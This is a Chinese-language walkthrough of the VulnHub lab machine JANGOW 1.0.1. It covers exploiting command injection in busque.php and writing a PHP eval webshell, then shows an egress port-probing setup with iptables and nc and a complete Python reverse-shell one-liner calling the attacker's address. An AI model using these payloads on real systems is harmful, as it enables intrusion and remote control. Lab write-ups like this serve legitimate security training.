vulnhub靶场 --> JANGOW: 1.0.1
靶机下载地址
JANGOW: 1.0.1 << 点我下载
开始打靶
IP发现
nmap扫描网段发现靶机ip:192.168.111.140
端口发现
对靶机进行常规端口扫描
访问网站
访问80端口发现是个目录遍历:http://192.168.111.140/
点击 site目录进入一个wordpress搭建的站点
由于黑盒测试的习惯,到处点点,发现可疑接口:http://192.168.111.140/site/busque.php?buscar=
对变量buscar进行测试,输入1没回显,尝试输入id,得到回显
该接口存在任意命令执行漏洞(RCE)
输入 ls 获取当前接口所在目录:site目录
写入webshell
写入一句话木马:echo '<?php @eval($_POST["spmonkey"]);?>' > shell.php,输入 ls 确认是否写入成功
写入成功,蚁剑连接,发现连接失败,改一下payload重新写入:echo '<?php @eval($_POST["spmonkey"]);' > shell.php,重新连接,连接成功
在普通用户目录下发现一个user.txt
打开是一串md5
去解密发现是空密码
不知道有啥用。。。
由于蚁剑无法回显一些报错或者输出,这里用nc反弹shell,但是试了多个方法都没反弹成功,写脚本测试一下端口是不是被限制了。
kali设置防火墙规则:iptables -A PREROUTING -t nat -p tcp --dport 1:65535 -j REDIRECT --to-port 1234,然后监听1234端口:nc -lvvp 1234
目标主机创建sh脚本:
赋予权限并运行,静心等待(这全端口好慢啊~~~),脚本运行过程中会发现有个连接是连接成功的。
查看输出文件out.txt看看是哪个端口连接成功了。
因为对防火墙做了端口绑定,所以kali直接监听1234端口即可,目标主机连接kali的443端口即可反弹shell。
python反弹shell:python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.111.128",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
内核信息
提权
是ubuntu 16.04,查找相关漏洞利用
利用蚁剑上传
使用gcc编译
给它赋值权限并运行即提权成功
查看root目录,发现有个txt文件,打开发现也是一串md5,解密依然是空密码,估计这两个md5就是flag了
完成。
知识点归纳
1、IP发现 2、端口扫描 3、黑盒测试 4、RCE利用 5、木马连接 6、nc反弹shell 7、权限提升